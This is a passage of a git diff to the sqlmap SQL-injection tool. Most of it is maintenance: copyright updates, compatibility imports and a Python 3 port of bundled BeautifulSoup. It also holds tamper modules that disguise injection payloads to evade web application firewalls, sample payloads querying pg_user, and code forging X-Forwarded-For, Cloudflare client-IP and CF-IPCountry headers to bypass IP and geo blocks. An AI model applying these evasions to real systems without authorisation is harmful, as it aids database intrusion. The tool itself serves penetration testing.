b/tamper/space2morecomment.py index 3dd9a7f02f7..df823e70660 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index c722553b7d1..d6365f9b77f 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,16 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os -import re import random +import re import string from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -38,7 +39,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('1 AND 9227=9227') - '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227' + '1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227' """ def process(match): @@ -53,7 +54,7 @@ def process(match): retVal = "" if payload: - payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload) + payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, payload) for i in xrange(len(payload)): if payload[i].isspace(): diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 37998f6eb22..0413f447413 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,6 +9,7 @@ import random from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -33,7 +34,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('SELECT id FROM users') - 'SELECT%0Eid%0DFROM%07users' + 'SELECT%0Did%0DFROM%04users' """ # ASCII table: diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index d139f6b0cf8..49ac43a0a51 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index c28dc97dc41..a0891989ca6 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,6 +9,7 @@ import random from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -32,7 +33,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('SELECT id FROM users') - 'SELECT%A0id%0BFROM%0Cusers' + 'SELECT%A0id%0CFROM%0Dusers' """ # ASCII table: diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 1394d14d4a0..e5fb85aafab 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 06868cf3379..a6ec73fc093 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index d8cd9423998..cbf162ffcd9 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import random +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW @@ -29,7 +30,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('SELECT id FROM users') - 'SELECT%0Did%0DFROM%0Ausers' + 'SELECT%0Did%0CFROM%0Ausers' """ # ASCII table: diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py new file mode 100644 index 00000000000..9df851a584f --- /dev/null +++ b/tamper/substring2leftright.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces PostgreSQL SUBSTRING with LEFT and RIGHT + + Tested against: + * PostgreSQL 9.6.12 + + Note: + * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT) + + >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)') + 'LEFT((SELECT usename FROM pg_user)::text,1)' + >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)') + 'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)' + """ + + retVal = payload + + if payload: + match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload) + + if match: + pos = int(match.group(2)) + if pos == 1: + _ = "LEFT(%s,1)" % (match.group(1)) + else: + _ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos) + + retVal = retVal.replace(match.group(0), _) + + return retVal diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index 6cac245b917..c7588aeb02a 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,12 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re -import urllib from lib.core.enums import PRIORITY @@ -26,6 +25,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"(?i)\bAND\b", urllib.quote("&&"), re.sub(r"(?i)\bOR\b", urllib.quote("||"), payload)) + retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) return retVal diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 6d24acb062a..16e4ab7d477 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 9cea29e05a4..5ccde715b9d 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL diff --git a/tamper/uppercase.py b/tamper/uppercase.py index faec80704ba..81774a99968 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/varnish.py b/tamper/varnish.py index d37f4ae2f58..92fb98cb3fd 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -17,7 +17,7 @@ def tamper(payload, **kwargs): Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall Reference: - * http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + * https://web.archive.org/web/20160815052159/http://community.hpe.com/t5/Protect-Your-Assets/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 Notes: Examples: diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index af27d4cbe50..7ab70933198 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -46,7 +46,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 4f926344228..aea7d50e598 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -47,7 +47,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index 88845f8a6f4..110bbbfd6f1 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,32 +1,44 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import random + +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from random import sample + __priority__ = PRIORITY.NORMAL def dependencies(): pass def randomIP(): - numbers = [] + octets = [] - while not numbers or numbers[0] in (10, 172, 192): - numbers = sample(xrange(1, 255), 4) + while not octets or octets[0] in (10, 172, 192): + octets = random.sample(xrange(1, 255), 4) - return '.'.join(str(_) for _ in numbers) + return '.'.join(str(_) for _ in octets) def tamper(payload, **kwargs): """ - Append a fake HTTP header 'X-Forwarded-For' + Append a fake HTTP header 'X-Forwarded-For' (and alike) """ headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = randomIP() headers["X-Client-Ip"] = randomIP() headers["X-Real-Ip"] = randomIP() + headers["CF-Connecting-IP"] = randomIP() + headers["True-Client-IP"] = randomIP() + + # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection + headers["Via"] = "1.1 Chrome-Compression-Proxy" + + # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 + headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0] + return payload diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index 81bd880c385..4d9731c1b68 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -4,14 +4,12 @@ # import logging -import os import re -import subprocess import sys -from lib.core.convert import stdoutencode +from lib.core.settings import IS_WIN -if subprocess.mswindows: +if IS_WIN: import ctypes import ctypes.wintypes @@ -21,6 +19,8 @@ ctypes.windll.kernel32.SetConsoleTextAttribute.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.WORD] ctypes.windll.kernel32.SetConsoleTextAttribute.restype = ctypes.wintypes.BOOL +def stdoutEncode(data): # Cross-referenced function + return data class ColorizingStreamHandler(logging.StreamHandler): # color names to indices @@ -55,7 +55,7 @@ def is_tty(self): def emit(self, record): try: - message = stdoutencode(self.format(record)) + message = stdoutEncode(self.format(record)) stream = self.stream if not self.is_tty: @@ -74,7 +74,7 @@ def emit(self, record): except: self.handleError(record) - if not subprocess.mswindows: + if not IS_WIN: def output_colorized(self, message): self.stream.write(message) else: @@ -93,7 +93,6 @@ def output_colorized(self, message): def output_colorized(self, message): parts = self.ansi_esc.split(message) - write = self.stream.write h = None fd = getattr(self.stream, 'fileno', None) @@ -107,7 +106,8 @@ def output_colorized(self, message): text = parts.pop(0) if text: - write(text) + self.stream.write(text) + self.stream.flush() if parts: params = parts.pop(0) @@ -155,47 +155,14 @@ def colorize(self, message, levelno): params.append('1') if params and message: - match = re.search(r"\A(\s+)", message) - prefix = match.group(1) if match else "" - - match = re.search(r"\[([A-Z ]+)\]", message) # log level - if match: - level = match.group(1) - if message.startswith(self.bold): - message = message.replace(self.bold, "") - reset = self.reset + self.bold - params.append('1') - else: - reset = self.reset - message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) - - match = re.search(r"\A\s*\[([\d:]+)\]", message) # time - if match: - time = match.group(1) - message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) - - match = re.search(r"\[(#\d+)\]", message) # counter - if match: - counter = match.group(1) - message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) - - if level != "PAYLOAD": - if any(_ in message for _ in ("parsed DBMS error message",)): - match = re.search(r": '(.+)'", message) - if match: - string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) - else: - for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted - string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + if message.lstrip() != message: + prefix = re.search(r"\s+", message).group(0) + message = message[len(prefix):] else: - message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) + prefix = "" - if prefix: - message = "%s%s" % (prefix, message) - - message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch + message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), + 'm', message, self.reset))) return message diff --git a/thirdparty/beautifulsoup/__init__.py b/thirdparty/beautifulsoup/__init__.py index 7954a3d0a47..a905a4ce403 100644 --- a/thirdparty/beautifulsoup/__init__.py +++ b/thirdparty/beautifulsoup/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright (c) 2004-2010, Leonard Richardson # @@ -16,7 +16,7 @@ # disclaimer in the documentation and/or other materials provided # with the distribution. # -# * Neither the name of the the Beautiful Soup Consortium and All +# * Neither the name of the Beautiful Soup Consortium and All # Night Kosher Bakery nor the names of its contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index d81d915248a..849956bb0e2 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -58,7 +58,7 @@ disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of the the Beautiful Soup Consortium and All + * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -77,27 +77,47 @@ """ from __future__ import generators +from __future__ import print_function __author__ = "Leonard Richardson (leonardr@segfault.org)" -__version__ = "3.2.1" +__version__ = "3.2.1b" __copyright__ = "Copyright (c) 2004-2012 Leonard Richardson" __license__ = "New-style BSD" -from sgmllib import SGMLParser, SGMLParseError import codecs -import markupbase -import types import re -import sgmllib +import sys + +if sys.version_info >= (3, 0): + xrange = range + text_type = str + binary_type = bytes + basestring = str + unichr = chr +else: + text_type = unicode + binary_type = str + try: - from htmlentitydefs import name2codepoint + from html.entities import name2codepoint except ImportError: - name2codepoint = {} + from htmlentitydefs import name2codepoint + try: set except NameError: from sets import Set as set +try: + import sgmllib +except ImportError: + from lib.utils import sgmllib + +try: + import markupbase +except ImportError: + import _markupbase as markupbase + #These hacks make Beautiful Soup able to parse XML with namespaces sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match @@ -106,7 +126,7 @@ def _match_css_class(str): """Build a RE to match the given CSS class.""" - return re.compile(r"(^|.*\s)%s($|\s)" % str) + return re.compile(r"(^|.*\s)%s($|\s)" % re.escape(str)) # First, the classes that represent markup elements. @@ -421,24 +441,16 @@ def substituteEncoding(self, str, encoding=None): def toEncoding(self, s, encoding=None): """Encodes an object to a string in some encoding, or to Unicode. .""" - if isinstance(s, unicode): - if encoding: - s = s.encode(encoding) - elif isinstance(s, str): + if isinstance(s, text_type): if encoding: s = s.encode(encoding) - else: - s = unicode(s) + elif isinstance(s, binary_type): + s = s.encode(encoding or "utf8") else: - if encoding: - s = self.toEncoding(str(s), encoding) - else: - s = unicode(s) + s = self.toEncoding(str(s), encoding or "utf8") return s - BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|" - + "&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;)" - + ")") + BARE_AMPERSAND_OR_BRACKET = re.compile(r"([<>]|&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;))") def _sub_entity(self, x): """Used with a regular expression to substitute the @@ -446,7 +458,7 @@ def _sub_entity(self, x): return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" -class NavigableString(unicode, PageElement): +class NavigableString(text_type, PageElement): def __new__(cls, value): """Create a new NavigableString. @@ -456,9 +468,9 @@ def __new__(cls, value): passed in to the superclass's __new__ or the superclass won't know how to handle non-ASCII characters. """ - if isinstance(value, unicode): - return unicode.__new__(cls, value) - return unicode.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) + if isinstance(value, text_type): + return text_type.__new__(cls, value) + return text_type.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) def __getnewargs__(self): return (NavigableString.__str__(self),) @@ -478,7 +490,7 @@ def __unicode__(self): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): # Substitute outgoing XML entities. data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self) - if encoding: + if encoding and sys.version_info < (3, 0): return data.encode(encoding) else: return data @@ -559,10 +571,11 @@ def __init__(self, parser, name, attrs=None, parent=None, self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. - convert = lambda(k, val): (k, - re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", - self._convertEntities, - val)) + # Reference: https://github.com/pkrumins/xgoogle/pull/16/commits/3dba1165c436b0d6e5bdbd09e53ca0dbf8a043f8 + convert = lambda k_val: (k_val[0], + re.sub(r"&(#\d+|#x[0-9a-fA-F]+|\w+);", + self._convertEntities, + k_val[1])) self.attrs = map(convert, self.attrs) def getString(self): @@ -583,7 +596,7 @@ def getText(self, separator=u""): stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next @@ -660,7 +673,7 @@ def __call__(self, *args, **kwargs): """Calling a tag like a function is the same as calling its findAll() method. Eg. tag('a') returns a list of all the A tags found within this tag.""" - return apply(self.findAll, args, kwargs) + return self.findAll(*args, **kwargs) def __getattr__(self, tag): #print "Getattr %s.%s" % (self.__class__, tag) @@ -821,6 +834,7 @@ def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, s.append(text) if prettyPrint: s.append("\n") + return ''.join(s) #Soup methods @@ -881,10 +895,10 @@ def childGenerator(self): def recursiveChildGenerator(self): if not len(self.contents): - raise StopIteration + return # Note: https://stackoverflow.com/a/30217723 (PEP 479) stopNode = self._lastRecursiveChild().next current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: yield current current = current.next @@ -991,7 +1005,7 @@ def _matches(self, markup, matchAgainst): if isinstance(markup, Tag): markup = markup.name if markup and not isinstance(markup, basestring): - markup = unicode(markup) + markup = text_type(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. @@ -1001,8 +1015,8 @@ def _matches(self, markup, matchAgainst): elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isinstance(markup, basestring): - if isinstance(markup, unicode): - matchAgainst = unicode(matchAgainst) + if isinstance(markup, text_type): + matchAgainst = text_type(matchAgainst) else: matchAgainst = str(matchAgainst) @@ -1040,7 +1054,7 @@ def buildTagMap(default, *args): # Now, the parser classes. -class BeautifulStoneSoup(Tag, SGMLParser): +class BeautifulStoneSoup(Tag, sgmllib.SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the @@ -1064,9 +1078,9 @@ class BeautifulStoneSoup(Tag, SGMLParser): QUOTE_TAGS = {} PRESERVE_WHITESPACE_TAGS = [] - MARKUP_MASSAGE = [(re.compile('(<[^<>]*)/>'), + MARKUP_MASSAGE = [(re.compile(r'(<[^<>]*)/>'), lambda x: x.group(1) + ' />'), - (re.compile('<!\s+([^<>]*)>'), + (re.compile(r'<!\s+([^<>]*)>'), lambda x: '<!' + x.group(1) + '>') ] @@ -1141,7 +1155,7 @@ class has some tricks for dealing with some HTML that kills self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) - SGMLParser.__init__(self) + sgmllib.SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() @@ -1166,7 +1180,7 @@ def convert_charref(self, name): def _feed(self, inDocumentEncoding=None, isHTML=False): # Convert the document to Unicode. markup = self.markup - if isinstance(markup, unicode): + if isinstance(markup, text_type): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: @@ -1190,7 +1204,7 @@ def _feed(self, inDocumentEncoding=None, isHTML=False): del(self.markupMassage) self.reset() - SGMLParser.feed(self, markup) + sgmllib.SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: @@ -1203,7 +1217,7 @@ def __getattr__(self, methodName): if methodName.startswith('start_') or methodName.startswith('end_') \ or methodName.startswith('do_'): - return SGMLParser.__getattr__(self, methodName) + return sgmllib.SGMLParser.__getattr__(self, methodName) elif not methodName.startswith('__'): return Tag.__getattr__(self, methodName) else: @@ -1212,13 +1226,13 @@ def __getattr__(self, methodName): def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" - return self.SELF_CLOSING_TAGS.has_key(name) \ - or self.instanceSelfClosingTags.has_key(name) + return name in self.SELF_CLOSING_TAGS \ + or name in self.instanceSelfClosingTags def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) self.hidden = 1 - SGMLParser.reset(self) + sgmllib.SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] @@ -1305,7 +1319,7 @@ def _smartPop(self, name): nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None - isResetNesting = self.RESET_NESTING_TAGS.has_key(name) + isResetNesting = name in self.RESET_NESTING_TAGS popTo = None inclusive = True for i in xrange(len(self.tagStack)-1, 0, -1): @@ -1318,7 +1332,7 @@ def _smartPop(self, name): if (nestingResetTriggers is not None and p.name in nestingResetTriggers) \ or (nestingResetTriggers is None and isResetNesting - and self.RESET_NESTING_TAGS.has_key(p.name)): + and p.name in self.RESET_NESTING_TAGS): #If we encounter one of the nesting reset triggers #peculiar to this tag, or we encounter another tag @@ -1464,8 +1478,8 @@ def parse_declaration(self, i): self._toStringSubclass(data, CData) else: try: - j = SGMLParser.parse_declaration(self, i) - except SGMLParseError: + j = sgmllib.SGMLParser.parse_declaration(self, i) + except sgmllib.SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) @@ -1520,7 +1534,7 @@ class BeautifulSoup(BeautifulStoneSoup): BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): - if not kwargs.has_key('smartQuotesTo'): + if 'smartQuotesTo' not in kwargs: kwargs['smartQuotesTo'] = self.HTML_ENTITIES kwargs['isHTML'] = True BeautifulStoneSoup.__init__(self, *args, **kwargs) @@ -1575,7 +1589,7 @@ def __init__(self, *args, **kwargs): NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) # Used to detect the charset in a META tag; see start_meta - CHARSET_RE = re.compile("((^|;)\s*charset=)([^;]*)", re.M) + CHARSET_RE = re.compile(r"((^|;)\s*charset=)([^;]*)", re.M) def start_meta(self, attrs): """Beautiful Soup can detect a charset included in a META tag, @@ -1777,9 +1791,9 @@ def __init__(self, markup, overrideEncodings=[], self._detectEncoding(markup, isHTML) self.smartQuotesTo = smartQuotesTo self.triedEncodings = [] - if markup == '' or isinstance(markup, unicode): + if markup == '' or isinstance(markup, text_type): self.originalEncoding = None - self.unicode = unicode(markup) + self.unicode = text_type(markup) return u = None @@ -1792,7 +1806,7 @@ def __init__(self, markup, overrideEncodings=[], if u: break # If no luck and we have auto-detection library, try that: - if not u and chardet and not isinstance(self.markup, unicode): + if not u and chardet and not isinstance(self.markup, text_type): u = self._convertFrom(chardet.detect(self.markup)['encoding']) # As a last resort, try utf-8 and windows-1252: @@ -1828,7 +1842,7 @@ def _convertFrom(self, proposed): "iso-8859-1", "iso-8859-2"): markup = re.compile("([\x80-\x9f])").sub \ - (lambda(x): self._subMSChar(x.group(1)), + (lambda x: self._subMSChar(x.group(1)), markup) try: @@ -1865,7 +1879,7 @@ def _toUnicode(self, data, encoding): elif data[:4] == '\xff\xfe\x00\x00': encoding = 'utf-32le' data = data[4:] - newdata = unicode(data, encoding) + newdata = text_type(data, encoding) return newdata def _detectEncoding(self, xml_data, isHTML=False): @@ -1878,50 +1892,50 @@ def _detectEncoding(self, xml_data, isHTML=False): elif xml_data[:4] == '\x00\x3c\x00\x3f': # UTF-16BE sniffed_xml_encoding = 'utf-16be' - xml_data = unicode(xml_data, 'utf-16be').encode('utf-8') + xml_data = text_type(xml_data, 'utf-16be').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') \ and (xml_data[2:4] != '\x00\x00'): # UTF-16BE with BOM sniffed_xml_encoding = 'utf-16be' - xml_data = unicode(xml_data[2:], 'utf-16be').encode('utf-8') + xml_data = text_type(xml_data[2:], 'utf-16be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x3f\x00': # UTF-16LE sniffed_xml_encoding = 'utf-16le' - xml_data = unicode(xml_data, 'utf-16le').encode('utf-8') + xml_data = text_type(xml_data, 'utf-16le').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and \ (xml_data[2:4] != '\x00\x00'): # UTF-16LE with BOM sniffed_xml_encoding = 'utf-16le' - xml_data = unicode(xml_data[2:], 'utf-16le').encode('utf-8') + xml_data = text_type(xml_data[2:], 'utf-16le').encode('utf-8') elif xml_data[:4] == '\x00\x00\x00\x3c': # UTF-32BE sniffed_xml_encoding = 'utf-32be' - xml_data = unicode(xml_data, 'utf-32be').encode('utf-8') + xml_data = text_type(xml_data, 'utf-32be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x00\x00': # UTF-32LE sniffed_xml_encoding = 'utf-32le' - xml_data = unicode(xml_data, 'utf-32le').encode('utf-8') + xml_data = text_type(xml_data, 'utf-32le').encode('utf-8') elif xml_data[:4] == '\x00\x00\xfe\xff': # UTF-32BE with BOM sniffed_xml_encoding = 'utf-32be' - xml_data = unicode(xml_data[4:], 'utf-32be').encode('utf-8') + xml_data = text_type(xml_data[4:], 'utf-32be').encode('utf-8') elif xml_data[:4] == '\xff\xfe\x00\x00': # UTF-32LE with BOM sniffed_xml_encoding = 'utf-32le' - xml_data = unicode(xml_data[4:], 